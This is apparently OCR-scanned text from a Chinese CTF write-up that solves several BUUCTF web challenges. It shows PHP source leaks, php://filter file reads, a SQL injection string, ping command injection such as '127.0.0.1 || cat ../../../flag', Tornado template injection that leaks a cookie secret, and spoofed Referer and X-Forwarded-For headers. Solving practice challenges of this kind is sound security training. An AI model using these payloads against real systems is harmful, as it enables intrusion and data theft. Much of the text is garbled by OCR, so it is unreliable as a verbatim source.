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P <head:> == < /head>

v <body>
b <div class="main"> [/ </div>
flag{85efcB889-7efa-499e-aB83-91dob7964b4a}
<!--$cat=%_GET['cat’']; echo $cat; if($cat=="dog'){ echo 'Syc{cat_cat_cat_cat}’'; }-->
b <div style="position: absolute;bottom: @;width: 99%;">/l= </div>
</body>
</html>
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Give me your flag, | will tell you if the flag is right.
| | iEE
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Give me your flag, | will tell you if the flag is right.
| | EE

Array ([0] => 3)
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Give me your flag, | will tell you if the flag is right.
| | iEE

Array ( [0] => ctf)
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Give me your flag, | will tell you if the flag is right.
H | e

Array ([0] => 0)
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<a href="2file=flag.php">tips</a>
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?file=php://filter/read=convert.base64-encode/resource=flag.php

PD9waHAKZWNobyAiQ2FulHIvdSBmaW5klG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YzFmMDc3YzAtY2Y5ZS00MGNILWE2MjitMDMOYmVjYJASNTFkfQo=

base64 17 #1515 2lflag..
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<a id="master"” href="_/Archive room.php" style="background-color:#800000;height:78px;width:288px;
color:black;left:44%; cursor:default;”>0h! You found me</a>
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<a id="master" href="./action.php" style="background-color:red;height:58px;width:2@8px;

color:#FFFFFF; left 44%;"» = </ax
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382 GET K 83d141a5-a5c9-447f-bedf-2...  action.php document html
GET H 83d141a5-a5c9-447f-bc4f-2...  end.php document htmi

GET K 83d141a5-a5c9-447f-bedf-2... favicon.ico FaviconLoader... html
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Content-Type: text/html; charset=UTF-8
Connection: close

Location: end.php

¥-Powered-By: PHP/7.3.11
Content-Length: 63

= DOCTYPE html =

=html=
=l--
secr3t.php
-
=fhtml=

HA-secr3t.phpXf, WHH—TF

<html>
{title>secret</title>
{meta charset="UTF-8">
{?php
highlight file(_ FILE );
error_reporting(0);
$file=$_GET[ file']:
if(strstr($file, ”.. /") | stristr($file, “tp”)| stristr($file, "input”) |stristr($file, “data”)){
echo “0h no!”;
exit();
}
include ($file) ;
flagfi{E | flag. php!E
>
</html>
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include ($file) ;
>

</html>

PCFETONUWVBFIGhObWw +Cgo8aHRtbD4KCIAgICA8aGVhZDAKICAGICAGICA8LWVOYSBjaGFyc2VOPSI1dGYLOCI+ CiAgICAGICAgPHRpdGxIPkZMQUCBL3RpdGxIPgoglCAgPCO0ZWFkPgoKICAgIDxib2R5II
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I PCFETONUWVBFIGhObWw+CgoBaHRtbDAKCIAGICABaGVhZDAKICAGICAGICAS <body style="background-colorblack”» <br> <brs <br> <br> <brs <br>
bWVO0YSBjaGFyc2VOPS)1dGYtOCI +CiAgICAgICAgPHRpdGxIPkZMQUcBL3Rpd 11

GxIPgoglCAgPCO0ZWFkPgoKICAgIDxib2R5IHNOeWxIPSJiYWNrZ3 vdW5kLWN 12 <h1 style="font-family-verdana:color-red:text-align:center:" >Bilg! &
vbG9yOmJsYWNrOyl + PGJyPjxicj48Ynl+PGlyPjxicj48Ynl +CiAglCAgICAgCiAglC T SIEREABIRQAQ~~~</h1><br><br><brs
AgICAgPGgxIHNOeWxIPSImb250LWZhbWIseTp2ZXIkYWShO2NvbGIyOnJIZD 13
t0ZXhOLWFsaWduOmNIbnRIgjsiPuWViuwWTiO+8geS%00alvuWlsOalkeS6hu+8 14 <p style="font-family:arial:color:red:font-size:20px: text-align:center:™»
geWPr+aYr+5900eci+S4jeWlsOalkVFBUX5 +fjwvaDE+PGJyPjxicj48Ynl + CiAglC 15 <php
AgICAgCiAgICAgICAgPHAGC3R5bGUIIMZvbnQtZmFtaWx50mFyaWFsO2Nvb 16 echo "FEEiTERE"
GI9yOnJIZDtmb250LXNpemU6MjBweDt0ZXhOLWFsaWduOmNIbnRIgsiPgoglC 17 $flag = 'flag(a7ead8B90-8174-4169-8711-a3b229270ae3}";
AgICAgICAgICABP3BocAoglCAgICAgICAGICAgICAgZWNobyAi50iR5bCx5Zyo06 18 $secret = YjiAng Luyuan wants a glrifri3nd’
L+Z6YeMIjsKICAgICAgICAGICAgICAGICRMbGFnID0g)2ZsYWd7YTdIYTK4OTAL 19 7
ODE3NCOOMTY5LTg3MTEtYTNIMjI5MjewYWUzfSc7CiAgICAgICAgICAgICAgIC 20 </p>

Akc2VjemV0ID0g)2ppQWS5NnX0x 1eXVhbl93NG50c19hX2cxckimemkzbmQnCiA 21 </body>
glCAgICAgICAgID8+CiAgICAgICAgPCIOWPgoglCAgPC9ib2R5PgoKPC9odG1sP 29
go= 23 </html>

24 -

UTF-8 v THNSMEERE ERins/EsR

i
1

base6AfilZ==  basebdfpis [EEEil =N

B 3flag

Lepi ~
[k %% K 3kik 2019]LoveSQL

FISQLMAPZ #H R Z1



PRIX ARG T £ 89flag, IR RILCMNAE T ARAMT, 575!

J.csdn.net/qg_4

b
B
=
p=il
=
l_r
5
&
i
H
P
am>

EELILH, XRBEREHAL

By

"or 1=1 or '1'='1' # IS ICEREMIE—T



N, Helio admi nl )
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HIWiHLE 127.0.0.1 || pwd

PING 127.6.6.1 (127.9.9.1): 56 data bytes
Svar/www/html

PING

TR Eping Bt

PING

PING 127.98.8.1 (127.8.8.1): 56 data bytes
total 12K
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp

usr
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var
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127.0.0.1 || cat ../../../flag



PING
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PING

PING 127.8.06.1 (127.8.8.1): 56 data bytes
flag{f23480dd-0035-4cef-b78f-d3d427c71344}
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/?ip= 1fxck your symbol!
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/?ip= fxck your space!
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[?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes
/var /www/html
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[?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes

flag. php
index. php

/?ip= fxck your flag!
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TR BIRAI#E K easytornado

/flag.txt
flag in /AllNIIag

/welcome.txt
render

/hints.txt
md5(cookie secret+md5(filename))
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https://www.tornadoweb.org/en/stable/ iX &tornado I & M

renders&tornadofE4E B i — NS, render@iE RS, RV LB XA B H0E Yok Mtemplate itk , 4R AT L@ idrender
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def get secure cookie(
self,
name: str,
value: Optional[str] = None,
max_age days: float = 31,
min_version: Optional[int] = None,

fEtornadotE4E L5 —~get_secure_cookie & # AT LLZREX B4 # & icookie &

self.require setting( (e el ttag=4a", "secure cookies™)
if value is None:

value = self.get cookie(name)

return decode_signed_value(
self.application.settings[ [aaetiana 1,
name,
value,
max_age_days=max_age_days,
min_wversion=min_wersion,

B 13 F self.application.settings ik 4 H &
RIGHMERER

@property
def settings(self) -» Dict[str, Any]:
""An alias for ~EEENe AR gte M IaqNbly <Application.settings>T. """

LI lself. application. settings




RequestHandler.settings

An alias for LAk Mapplication. settingsl

self.application.settings —- alias(5l 4 )4 requesthandler.settings

https://www.cnblogs.com/chalan630/p/12609470.html (= 1.)

handler 38 [\ B AL 3R 24 A7 IX 4 T K RequestHandler Xf %, RequestHandler.settings $g[H self.application.settings ,
I handler.settings $8H RequestHandler.application.settings »

PR IEN msg={{handler.settings}}

{'autoreload": True, 'compiled template cache’: False, 'cookie secret’: '5d10dcb8-e732-45cd-
afc0-732822479998'}

/file?filename=/f111111111111ag&filehash=8ece6elebb84a1280755edblc51ba39c
15 tiflag
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SYCLOVER

HI HACKERS
HERE IS THE SECRET WEBSITE
OF THE SYCLOVER
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~MEERIREE : B el B eIl g R St MRl RER . A AAEREFEE— T RITHEE A
<a style="border:none;cursor:default;" onclick="return false" href=”Secret.Ebg”>$§ﬁacia> event
|
</p>
<fdivs
<fsection>»
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node3.buuoj.cn:29382/Secret.php
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136-3032W1-00067-5

https:/blog.csdo

emm, A&XKHBhttps://Syssecret.com, RAABER, EFEXANMMIEYGH T — FEKRM

H Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

H Accept: text/html,application/xhtmi+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

H Host: node3.buuoj.cn:29382

R | https:/mww.Sycsecret.com

L36-3032W1-00067-5
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H Host: node3.buuoj.cn:29382

R  https:/mww.Sycsecret.com

U Syclover
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H X-Forwarded-For: 127.0.0.1
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